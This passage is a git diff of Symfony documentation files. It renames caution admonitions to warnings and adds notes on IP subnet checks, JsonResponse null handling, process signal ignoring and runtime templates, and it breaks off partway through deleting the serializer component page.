 ~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/form.rst b/components/form.rst
index 7584d223032..5e09f38812f 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -640,7 +640,7 @@ method:
 
         // ...
 
-.. caution::
+.. warning::
 
     The form's ``createView()`` method should be called *after* ``handleRequest()`` is
     called. Otherwise, when using :doc:`form events </form/events>`, changes done
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index b08aeb8380b..21e9bbfb13e 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -362,6 +362,24 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
+Check If an IP Belongs to a CIDR Subnet
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to know if an IP address is included in a CIDR subnet, you can use
+the ``checkIp()`` method from :class:`Symfony\\Component\\HttpFoundation\\IpUtils`::
+
+    use Symfony\Component\HttpFoundation\IpUtils;
+
+    $ipv4 = '192.168.1.56';
+    $CIDRv4 = '192.168.1.0/16';
+    $isIpInCIDRv4 = IpUtils::checkIp($ipv4, $CIDRv4);
+    // $isIpInCIDRv4 = true
+
+    $ipv6 = '2001:db8:abcd:1234::1';
+    $CIDRv6 = '2001:db8:abcd::/48';
+    $isIpInCIDRv6 = IpUtils::checkIp($ipv6, $CIDRv6);
+    // $isIpInCIDRv6 = true
+
 Check if an IP Belongs to a Private Subnet
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -925,6 +943,16 @@ The ``JsonResponse`` class sets the ``Content-Type`` header to
     Only methods that respond to GET requests are vulnerable to XSSI 'JSON Hijacking'.
     Methods responding to POST requests only remain unaffected.
 
+.. warning::
+
+    The ``JsonResponse`` constructor exhibits non-standard JSON encoding behavior
+    and will treat ``null`` as an empty object if passed as a constructor argument,
+    despite null being a `valid JSON top-level value`_.
+
+    This behavior cannot be changed without backwards-compatibility concerns, but
+    it's possible to call ``setData`` and pass the value there to opt-out of the
+    behavior.
+
 JSONP Callback
 ~~~~~~~~~~~~~~
 
@@ -1014,9 +1042,10 @@ Learn More
     /session
     /http_cache/*
 
-.. _nginx: https://www.nginx.com/resources/wiki/start/topics/examples/xsendfile/
+.. _nginx: https://mattbrictson.com/blog/accelerated-rails-downloads
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
+.. _`valid JSON top-level value`: https://www.json.org/json-en.html
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside
 .. _RFC 8674: https://tools.ietf.org/html/rfc8674
 .. _Doctrine Batch processing: https://www.doctrine-project.org/projects/doctrine-orm/en/2.14/reference/batch-processing.html#iterating-results
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 19442b5194d..02791b370bc 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -3,8 +3,8 @@ The HttpKernel Component
 
     The HttpKernel component provides a structured process for converting
     a ``Request`` into a ``Response`` by making use of the EventDispatcher
-    component. It's flexible enough to create a full-stack framework (Symfony),
-    a micro-framework (Silex) or an advanced CMS (Drupal).
+    component. It's flexible enough to create a full-stack framework (Symfony)
+    or an advanced CMS (Drupal).
 
 Installation
 ------------
@@ -398,7 +398,7 @@ return a ``Response``.
 
     There is a default listener inside the Symfony Framework for the ``kernel.view``
     event. If your controller action returns an array, and you apply the
-    :ref:`#[Template()] attribute <templates-template-attribute>` to that
+    :ref:`#[Template] attribute <templates-template-attribute>` to that
     controller action, then this listener renders a template, passes the array
     you returned from your controller to that template, and creates a ``Response``
     containing the returned content from that template.
@@ -471,7 +471,7 @@ you will trigger the ``kernel.terminate`` event where you can perform certain
 actions that you may have delayed in order to return the response as quickly
 as possible to the client (e.g. sending emails).
 
-.. caution::
+.. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
     PHP function. This means that at the moment, only the `PHP FPM`_ server
diff --git a/components/intl.rst b/components/intl.rst
index bbd088c830e..ba3cbdcb959 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -28,7 +28,6 @@ This component provides the following ICU data:
 * `Locales`_
 * `Currencies`_
 * `Timezones`_
-* `Emoji Transliteration`_
 
 Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -386,56 +385,16 @@ to catching the exception, you can also check if a given timezone ID is valid::
 Emoji Transliteration
 ~~~~~~~~~~~~~~~~~~~~~
 
-The ``EmojiTransliterator`` class provides a utility to translate emojis into
-their textual representation in all languages based on the `Unicode CLDR dataset`_::
+Symfony provides utilities to translate emojis into their textual representation
+in all languages. Read the documentation about :ref:`emoji transliteration <emoji-transliteration>`
+to learn more about this feature.
 
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
-
-    // describe emojis in English
-    $transliterator = EmojiTransliterator::create('en');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with pizza or spaghetti'
-
-    // describe emojis in Ukrainian
-    $transliterator = EmojiTransliterator::create('uk');
-    $transliterator->transliterate('Menus with 🍕 or 🍝');
-    // => 'Menus with піца or спагеті'
-
-The ``EmojiTransliterator`` class also provides two extra catalogues: ``github``
-and ``slack`` that converts any emojis to the corresponding short code in those
-platforms::
-
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
-
-    // describe emojis in Slack short code
-    $transliterator = EmojiTransliterator::create('slack');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-    // describe emojis in Github short code
-    $transliterator = EmojiTransliterator::create('github');
-    $transliterator->transliterate('Menus with 🥗 or 🧆');
-    // => 'Menus with :green_salad: or :falafel:'
-
-Furthermore the ``EmojiTransliterator`` provides a special ``strip`` locale
-that removes all the emojis from a string::
-
-    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
-
-    $transliterator = EmojiTransliterator::create('strip');
-    $transliterator->transliterate('🎉Hey!🥳 🎁Happy Birthday!🎁');
-    // => 'Hey! Happy Birthday!'
-
-.. tip::
-
-    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
-    to improve the slugs of contents that include emojis (e.g. for URLs).
+Disk Space
+----------
 
-The data needed to store the transliteration of all emojis (~5,000) into all
-languages take a considerable disk space. If you need to save disk space (e.g.
-because you deploy to some service with tight size constraints), run this command
-(e.g. as an automated script after ``composer install``) to compress the internal
-Symfony emoji data files using the PHP ``zlib`` extension:
+If you need to save disk space (e.g. because you deploy to some service with tight size
+constraints), run this command (e.g. as an automated script after ``composer install``) to compress the
+internal Symfony Intl data files using the PHP ``zlib`` extension:
 
 .. code-block:: terminal
 
@@ -464,4 +423,3 @@ Learn more
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
 .. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
-.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/components/ldap.rst b/components/ldap.rst
index 89094fad0b7..f5a142ced9f 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -70,7 +70,7 @@ distinguished name (DN) and the password of a user::
 
     $ldap->bind($dn, $password);
 
-.. caution::
+.. danger::
 
     When the LDAP server allows unauthenticated binds, a blank password will always be valid.
 
diff --git a/components/lock.rst b/components/lock.rst
index e600d68ca59..b0240019e8d 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -105,12 +105,10 @@ to handle the rest of the job::
 
     use App\Lock\RefreshTaxonomy;
     use Symfony\Component\Lock\Key;
-    use Symfony\Component\Lock\Lock;
 
     $key = new Key('article.'.$article->getId());
-    $lock = new Lock(
+    $lock = $factory->createLockFromKey(
         $key,
-        $this->store,
         300,  // ttl
         false // autoRelease
     );
@@ -121,7 +119,7 @@ to handle the rest of the job::
 .. note::
 
     Don't forget to set the ``autoRelease`` argument to ``false`` in the
-    ``Lock`` constructor to avoid releasing the lock when the destructor is
+    ``Lock`` instantiation to avoid releasing the lock when the destructor is
     called.
 
 Not all stores are compatible with serialization and cross-process locking: for
@@ -361,7 +359,7 @@ lose the lock it acquired automatically::
         throw new \Exception('Process failed');
     }
 
-.. caution::
+.. warning::
 
     A common pitfall might be to use the ``isAcquired()`` method to check if
     a lock has already been acquired by any process. As you can see in this example
@@ -388,20 +386,20 @@ Locks are created and managed in ``Stores``, which are classes that implement
 
 The component includes the following built-in store types:
 
-==========================================================  ======  ========  ======== =======
-Store                                                       Scope   Blocking  Expiring Sharing
-==========================================================  ======  ========  ======== =======
-:ref:`FlockStore <lock-store-flock>`                        local   yes       no       yes
-:ref:`MemcachedStore <lock-store-memcached>`                remote  no        yes      no
-:ref:`MongoDbStore <lock-store-mongodb>`                    remote  no        yes      no
-:ref:`PdoStore <lock-store-pdo>`                            remote  no        yes      no
-:ref:`DoctrineDbalStore <lock-store-dbal>`                  remote  no        yes      no
-:ref:`PostgreSqlStore <lock-store-pgsql>`                   remote  yes       no       yes
-:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>`  remote  yes       no       yes
-:ref:`RedisStore <lock-store-redis>`                        remote  no        yes      yes
-:ref:`SemaphoreStore <lock-store-semaphore>`                local   yes       no       no
-:ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no
-==========================================================  ======  ========  ======== =======
+==========================================================  ======  ========  ======== ======= =============
+Store                                                       Scope   Blocking  Expiring Sharing Serialization
+==========================================================  ======  ========  ======== ======= =============
+:ref:`FlockStore <lock-store-flock>`                        local   yes       no       yes     no
+:ref:`MemcachedStore <lock-store-memcached>`                remote  no        yes      no      yes
+:ref:`MongoDbStore <lock-store-mongodb>`                    remote  no        yes      no      yes
+:ref:`PdoStore <lock-store-pdo>`                            remote  no        yes      no      yes
+:ref:`DoctrineDbalStore <lock-store-dbal>`                  remote  no        yes      no      yes
+:ref:`PostgreSqlStore <lock-store-pgsql>`                   remote  yes       no       yes     no
+:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>`  remote  yes       no       yes     no
+:ref:`RedisStore <lock-store-redis>`                        remote  no        yes      yes     yes
+:ref:`SemaphoreStore <lock-store-semaphore>`                local   yes       no       no      no
+:ref:`ZookeeperStore <lock-store-zookeeper>`                remote  no        no       no      no
+==========================================================  ======  ========  ======== ======= =============
 
 .. tip::
 
@@ -424,7 +422,7 @@ when the PHP process ends)::
     // if none is given, sys_get_temp_dir() is used internally.
     $store = new FlockStore('/var/stores');
 
-.. caution::
+.. warning::
 
     Beware that some file systems (such as some types of NFS) do not support
     locking. In those cases, it's better to use a directory on a local disk
@@ -665,7 +663,7 @@ the stores::
 
     $store = new CombinedStore($stores, new UnanimousStrategy());
 
-.. caution::
+.. warning::
 
     In order to get high availability when using the ``ConsensusStrategy``, the
     minimum cluster size must be three servers. This allows the cluster to keep
@@ -717,7 +715,7 @@ the ``Lock``.
 Every concurrent process must store the ``Lock`` on the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
 
-.. caution::
+.. warning::
 
     To guarantee that the same server will always be safe, do not use Memcached
     behind a LoadBalancer, a cluster or round-robin DNS. Even if the main server
@@ -756,15 +754,15 @@ Using the above methods, a robust code would be::
             $lock->refresh();
         }
 
-        // Perform the task whose duration MUST be less than 5 minutes
+        // Perform the task whose duration MUST be less than 5 seconds
     }
 
-.. caution::
+.. warning::
 
     Choose wisely the lifetime of the ``Lock`` and check whether its remaining
     time to live is enough to perform the task.
 
-.. caution::
+.. warning::
 
     Storing a ``Lock`` usually takes a few milliseconds, but network conditions
     may increase that time a lot (up to a few seconds). Take that into account
@@ -773,7 +771,7 @@ Using the above methods, a robust code would be::
 By design, locks are stored on servers with a defined lifetime. If the date or
 time of the machine changes, a lock could be released sooner than expected.
 
-.. caution::
+.. warning::
 
     To guarantee that date won't change, the NTP service should be disabled
     and the date should be updated when the service is stopped.
@@ -795,7 +793,7 @@ deployments.
 
 Some file systems (such as some types of NFS) do not support locking.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same physical file system by running
     on the same machine and using the same absolute path to the lock directory.
@@ -824,7 +822,7 @@ and may disappear by mistake at any time.
 If the Memcached service or the machine hosting it restarts, every lock would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -832,7 +830,7 @@ be lost without notifying the running processes.
 By default Memcached uses a LRU mechanism to remove old entries when the service
 needs space to add new items.
 
-.. caution::
+.. warning::
 
     The number of items stored in Memcached must be under control. If it's not
     possible, LRU should be disabled and Lock should be stored in a dedicated
@@ -850,7 +848,7 @@ method uses the Memcached's ``flush()`` method which purges and removes everythi
 MongoDbStore
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     The locked resource name is indexed in the ``_id`` field of the lock
     collection. Beware that an indexed field's value in MongoDB can be
@@ -876,7 +874,7 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     recommended to set constructor option ``gcProbability`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
-.. caution::
+.. warning::
 
     This store relies on all PHP application and database nodes to have
     synchronized clocks for lock expiry to occur at the correct time. To ensure
@@ -893,12 +891,12 @@ PdoStore
 
 The PdoStore relies on the `ACID`_ properties of the SQL engine.
 
-.. caution::
+.. warning::
 
     In a cluster configured with multiple primaries, ensure writes are
     synchronously propagated to every node, or always use the same node.
 
-.. caution::
+.. warning::
 
     Some SQL engines like MySQL allow to disable the unique constraint check.
     Ensure that this is not the case ``SET unique_checks=1;``.
@@ -907,7 +905,7 @@ In order to purge old locks, this store uses a current datetime to define an
 expiration date reference. This mechanism relies on all server nodes to
 have synchronized clocks.
 
-.. caution::
+.. warning::
 
     To ensure locks don't expire prematurely; the TTLs should be set with
     enough extra time to account for any clock drift between nodes.
@@ -936,7 +934,7 @@ and may disappear by mistake at any time.
 If the Redis service or the machine hosting it restarts, every locks would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -964,7 +962,7 @@ The ``CombinedStore`` will be, at best, as reliable as the least reliable of
 all managed stores. As soon as one managed store returns erroneous information,
 the ``CombinedStore`` won't be reliable.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same configuration, with the same
     amount of managed stored and the same endpoint.
@@ -982,13 +980,13 @@ must run on the same machine, virtual machine or container. Be careful when
 updating a Kubernetes or Swarm service because for a short period of time, there
 can be two running containers in parallel.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same machine. Before starting a
     concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
-.. caution::
+.. warning::
 
     When running on systemd with non-system user and option ``RemoveIPC=yes``
     (default value), locks are deleted by systemd when that user logs out.
diff --git a/components/messenger.rst b/components/messenger.rst
index 7f430b55c90..8d6652fb160 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -162,6 +162,10 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
   to configure the validation groups used when the validation middleware is enabled.
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
   an internal stamp when a message fails due to an exception in the handler.
+* :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp`,
+  a stamp that marks the message as produced by a scheduler. This helps
+  differentiate it from messages created "manually". You can learn more about it
+  in the :doc:`Scheduler documentation </scheduler>`.
 
 .. note::
 
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index f70bc20a412..ff25f9e0fc4 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -485,7 +485,7 @@ these options, you can return the desired default value::
         }
     }
 
-.. caution::
+.. warning::
 
     The argument of the callable must be type hinted as ``Options``. Otherwise,
     the callable itself is considered as the default value of the option.
@@ -699,7 +699,7 @@ to the closure to access to them::
         }
     }
 
-.. caution::
+.. warning::
 
     The arguments of the closure must be type hinted as ``OptionsResolver`` and
     ``Options`` respectively. Otherwise, the closure itself is considered as the
@@ -811,7 +811,7 @@ method::
 
     When using an option deprecated by you in your own library, you can pass
     ``false`` as the second argument of the
-    :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet` method
+    :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::offsetGet` method
     to not trigger the deprecation warning.
 
 .. note::
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index ba37bc0ecda..5ce4c003a11 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -253,7 +253,7 @@ deprecations but:
 * forget to mark appropriate tests with the ``@group legacy`` annotations.
 
 By using ``SYMFONY_DEPRECATIONS_HELPER=max[self]=0``, deprecations that are
-triggered outside the ``vendors`` directory will be accounted for separately,
+triggered outside the ``vendor/`` directory will be accounted for separately,
 while deprecations triggered from a library inside it will not (unless you reach
 999999 of these), giving you the best of both worlds.
 
@@ -621,7 +621,7 @@ test::
 
 And that's all!
 
-.. caution::
+.. warning::
 
     Time-based function mocking follows the `PHP namespace resolutions rules`_
     so "fully qualified function calls" (e.g ``\time()``) cannot be mocked.
diff --git a/components/process.rst b/components/process.rst
index c4db5c18a9c..f6c8837d2c3 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -108,7 +108,7 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
-.. caution::
+.. warning::
 
     Most of the options defined by ``proc_open()`` (such as ``create_new_console``
     and ``suppress_errors``) are only supported on Windows operating systems.
@@ -511,6 +511,20 @@ When running a program asynchronously, you can send it POSIX signals with the
     // will send a SIGKILL to the process
     $process->signal(SIGKILL);
 
+You can make the process ignore signals by using the
+:method:`Symfony\\Component\\Process\\Process::setIgnoredSignals`
+method. The given signals won't be propagated to the child process::
+
+    use Symfony\Component\Process\Process;
+
+    $process = new Process(['find', '/', '-name', 'rabbit']);
+    $process->setIgnoredSignals([SIGKILL, SIGUSR1]);
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Process\\Process::setIgnoredSignals`
+    method was introduced in Symfony 7.1.
+
 Process Pid
 -----------
 
@@ -538,7 +552,7 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     $process->disableOutput();
     $process->run();
 
-.. caution::
+.. warning::
 
     You cannot enable or disable the output while the process is running.
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 052ed38e767..f608640fa9b 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -26,6 +26,8 @@ default configuration::
 
     $propertyAccessor = PropertyAccess::createPropertyAccessor();
 
+.. _property-access-reading-arrays:
+
 Reading from Arrays
 -------------------
 
@@ -112,7 +114,7 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
-.. caution::
+.. warning::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.
     It tries to access the value using the below methods first before using
@@ -249,16 +251,21 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
         {
             return $this->children[$id];
         }
+
+        public function __isset($id): bool
+        {
+            return isset($this->children[$id]);
+        }
     }
 
     $person = new Person();
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
-.. note::
+.. warning::
 
-    The ``__get()`` method support is enabled by default.
-    See `Enable other Features`_ if you want to disable it.
+    When implementing the magic ``__get()`` method, you also need to implement
+    ``__isset()``.
 
 .. _components-property-access-magic-call:
 
@@ -296,7 +303,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
 
     var_dump($propertyAccessor->getValue($person, 'wouter')); // [...]
 
-.. caution::
+.. warning::
 
     The ``__call()`` feature is disabled by default, you can enable it by calling
     :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall`
diff --git a/components/property_info.rst b/components/property_info.rst
index 892cd5345a3..2e1ee42dd3f 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -478,9 +478,9 @@ SerializerExtractor
 
     This extractor depends on the `symfony/serializer`_ library.
 
-Using :ref:`groups metadata <serializer-using-serialization-groups-attributes>`
-from the :doc:`Serializer component </components/serializer>`,
-the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
+Using :ref:`groups metadata <serializer-groups-attribute>` from the
+:doc:`Serializer component </serializer>`, the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\SerializerExtractor`
 provides list information. This extractor is *not* registered automatically
 with the ``property_info`` service in the Symfony Framework::
 
diff --git a/components/runtime.rst b/components/runtime.rst
index 5e6e173240c..4eb75de2a75 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -3,7 +3,7 @@ The Runtime Component
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_,
-    `Swoole`_, etc. without any changes.
+    `Swoole`_, `FrankenPHP`_ etc. without any changes.
 
 Installation
 ------------
@@ -42,7 +42,7 @@ the component. This file runs the following logic:
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
 
-.. caution::
+.. warning::
 
     If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php``
     file won't be created.
@@ -97,6 +97,23 @@ Use the ``APP_RUNTIME`` environment variable or by specifying the
         }
     }
 
+If modifying the runtime class isn't enough, you can create your own runtime template:
+
+.. code-block:: json
+
+    {
+        "require": {
+            "...": "..."
+        },
+        "extra": {
+            "runtime": {
+                "autoload_template": "resources/runtime/autoload_runtime.template"
+            }
+        }
+    }
+
+Symfony provides a `runtime template file`_ that you can use to create your own.
+
 Using the Runtime
 -----------------
 
@@ -470,5 +487,7 @@ The end user will now be able to create front controller like::
 
 .. _PHP-PM: https://github.com/php-pm/php-pm
 .. _Swoole: https://openswoole.com/
+.. _FrankenPHP: https://frankenphp.dev/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
+.. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template
diff --git a/components/serializer.rst b/components/serializer.rst
deleted file mode 100644
index 3bda0b0cf4f..00000000000
--- a/components/serializer.rst
+++ /dev/null
@@ -1,1889 +0,0 @@
-The Serializer Component
-========================
-
-    The Serializer component is meant to be used to turn objects into a
-    specific format (XML, JSON, YAML, ...) and the other way around.
-
-In order to do so, the Serializer component follows the following schema.
-
-.. raw:: html
-
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
-        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
-    ></object>
-
-When (de)serializing objects, the Serializer uses an array as the intermediary
-between objects and serialized contents. Encoders will only deal with
-turning specific **formats** into **arrays** and vice versa. The same way,
-normalizers will deal with turning specific **objects** into **arrays** and
-vice versa. The Serializer deals with calling the normalizers and encoders
-when serializing objects or deserializing formats.
-
-Serialization is a complex topic. This component may not cover all your use
-cases out of the box, but it can be useful for developing tools to
-serialize and deserialize your objects.
-
-Installation
-------------
-
-.. code-block:: terminal
-
-    $ composer require symfony/serializer
-
-.. include:: /components/require_autoload.rst.inc
-
-To use the ``ObjectNormalizer``, the :doc:`PropertyAccess component </components/property_access>`
-must also be installed.
-
-Usage
------
-
-.. seealso::
-
-    This article explains the philosophy of the Serializer and gets you familiar
-    with the concepts of normalizers and encoders. The code examples assume
-    that you use the Serializer as an independent component. If you are using
-    the Serializer in a Symfony application, read :doc:`/serializer` after you
-    finish this article.
-
-To use the Serializer component, set up the
-:class:`Symfony\\Component\\Serializer\\Serializer` specifying which encoders
-and normalizer are going to be available::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $normalizers = [new ObjectNormalizer()];
-
-    $serializer = new Serializer($normalizers, $encoders);
-
-The preferred normalizer is the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`,
-but other normalizers are available. All the examples shown below use
-the ``ObjectNormalizer``.
-
-Serializing an Object
----------------------
-
-For the sake of this example, assume the following class already
-exists in your project::
-
-    namespace App\Model;
-
-    class Person
-    {
-        private int $age;
-        private string $name;
-        private bool $sportsperson;
-        private ?\DateTimeInterface $createdAt;
-
-        // Getters
-        public function getAge(): int
-        {
-            return $this->age;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function getCreatedAt(): ?\DateTimeInterface
-        {
-            return $this->createdAt;
-        }
-
-        // Issers
-        public function isSportsperson(): bool
-        {
-            return $this->sportsperson;
-        }
-
-        // Setters
-        public function setAge(int $age): void
-        {
-            $this->age = $age;
-        }
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function setSportsperson(bool $sportsperson): void
-        {
-            $this->sportsperson = $sportsperson;
-        }
-
-        public function setCreatedAt(\DateTimeInterface $createdAt = null): void
-        {
-            $this->createdAt = $createdAt;
-        }
-    }
-
-Now, if you want to serialize this object into JSON, you only need to
-use the Serializer service created before::
-
-    use App\Model\Person;
-
-    $person = new Person();
-    $person->setName('foo');
-    $person->setAge(99);
-    $person->setSportsperson(false);
-
-    $jsonContent = $serializer->serialize($person, 'json');
-
-    // $jsonContent contains {"name":"foo","age":99,"sportsperson":false,"createdAt":null}
-
-    echo $jsonContent; // or return it in a Response
-
-The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
-is the object to be serialized and the second is used to choose the proper encoder,
-in this case :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
-
-Deserializing an Object
------------------------
-
-You'll now learn how to do the exact opposite. This time, the information
-of the ``Person`` class would be encoded in XML format::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <sportsperson>false</sportsperson>
-    </person>
-    EOF;
-
-    $person = $serializer->deserialize($data, Person::class, 'xml');
-
-In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
-needs three parameters:
-
-#. The information to be decoded
-#. The name of the class this information will be decoded to
-#. The encoder used to convert that information into an array
-
-By default, additional attributes that are not mapped to the denormalized object
-will be ignored by the Serializer component. If you prefer to throw an exception
-when this happens, set the ``AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES`` context option to
-``false`` and provide an object that implements ``ClassMetadataFactoryInterface``
-when constructing the normalizer::
-
-    use App\Model\Person;
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>99</age>
-        <city>Paris</city>
-    </person>
-    EOF;
-
-    // $loader is any of the valid loaders explained later in this article
-    $classMetadataFactory = new ClassMetadataFactory($loader);
-    $normalizer = new ObjectNormalizer($classMetadataFactory);
-    $serializer = new Serializer([$normalizer]);
-
-    // this will throw a Symfony\Component\Serializer\Exception\ExtraAttributesException
-    // because "city" is not an attribute of the Person class
-    $person = $serializer->deserialize($data, Person::class, 'xml', [
-        AbstractNormalizer::ALLOW_EXTRA_ATTRIBUTES => false,
-    ]);
-
-Deserializing in an Existing Object
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The serializer can also be used to update an existing object::
-
-    // ...
-    $person = new Person();
-    $person->setName('bar');
-    $person->setAge(99);
-    $person->setSportsperson(true);
-
-    $data = <<<EOF
-    <person>
-        <name>foo</name>
-        <age>69</age>
-    </person>
-    EOF;
-
-    $serializer->deserialize($data, Person::class, 'xml', [AbstractNormalizer::OBJECT_TO_POPULATE => $person]);
-    // $person = App\Model\Person(name: 'foo', age: '69', sportsperson: true)
-
-This is a common need when working with an ORM.
-
-The ``AbstractNormalizer::OBJECT_TO_POPULATE`` is only used for the top level object. If that object
-is the root of a tree structure, all child elements that exist in the
-normalized data will be re-created with new instances.
-
-When the ``AbstractObjectNormalizer::DEEP_OBJECT_TO_POPULATE`` option is set to
-true, existing children of the root ``OBJECT_TO_POPULATE`` are updated from the
-normalized data, instead of the denormalizer re-creating them. Note that
-``DEEP_OBJECT_TO_POPULATE`` only works for single child objects, but not for
-arrays of objects. Those will still be replaced when present in the normalized
-data.
-
-Context
--------
-
-Many Serializer features can be configured :ref:`using a context <serializer_serializer-context>`.
-
-.. _component-serializer-attributes-groups:
-
-Attributes Groups
------------------
-
-Sometimes, you want to serialize different sets of attributes from your
-entities. Groups are a handy way to achieve this need.
-
-Assume you have the following plain-old-PHP object::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        private string $bar;
-
-        public function getBar(): string
-        {
-            return $this->bar;
-        }
-
-        public function setBar($bar): string
-        {
-            return $this->bar = $bar;
-        }
-    }
-
-The definition of serialization can be specified using annotations, XML
-or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-that will be used by the normalizer must be aware of the format to use.
-
-The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
-for each format:
-
-* Attributes in PHP files::
-
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-* YAML files::
-
